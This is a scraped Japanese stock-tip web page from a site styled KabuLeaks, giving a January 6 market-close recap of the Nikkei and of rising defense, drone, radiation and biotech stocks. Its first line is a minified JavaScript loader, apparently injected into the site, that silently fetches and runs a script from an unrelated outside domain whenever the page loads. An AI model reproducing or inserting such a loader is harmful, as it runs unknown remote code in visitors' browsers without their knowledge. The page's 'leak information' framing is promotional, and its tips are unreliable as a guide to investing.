;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/6 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/6 大引け】

本日の日経平均株価は182円安と大幅続落。後場の日経平均は昼休み中の先物の急落から売り先行、寄り付く直後には一時は1万8000円割れ間近まで下落した。売り一巡後に心理的な節目の1万8000円割れなかったこと、底堅く推移したことにより徐々に買い戻し、押し目買いの動きとなり下げ幅を縮小。ただ、引き続き中国景気への不透明感、中東情勢、週末に控えるSQや雇用統計を前に戻りは限定となった。業種別では、医薬品、水産・農林業、食料品の3業種のみが上昇。一方、石油石炭製品、鉱業、その他製品、非鉄金属などが値下がり率上位となった。

個別では、北朝鮮の水爆実験実施などを背景に防衛関連の【6946】日本アビオニクス、【6208】石川製作所なども物色の矛先が向かい上昇。ドローン関連から出遅れの【8226】理経が一時ストップ高の急伸となったほか、同じくドローンお出遅れとして【3681】ブイキューブ、【3669】モバイルクリエイトなども大幅上昇。また、特段の材料は確認されていないものの、【4594】グリーンペプタイドが引け前にかけ急上昇。また、放射能関連として【4657】環境管理センター、バイオ関連出遅れ、見直し買いから【4589】アキュセラ・インクなどがストップ高となった。

日経平均は1万8000円前半でなんとか持ち直したものの、外部環境の不透明感は変わらず引き続き心理的節目の1万8000円ライン割れを警戒。また、直近人気のテーマ株もドローン関連の一部を除き後場上げ幅縮小、一時マイナス転換など一旦の上昇一服感が出てきており週末のSQ、雇用統計前の継続した利益確定売りからの急落などの動きも日経平均の動き同様に警戒。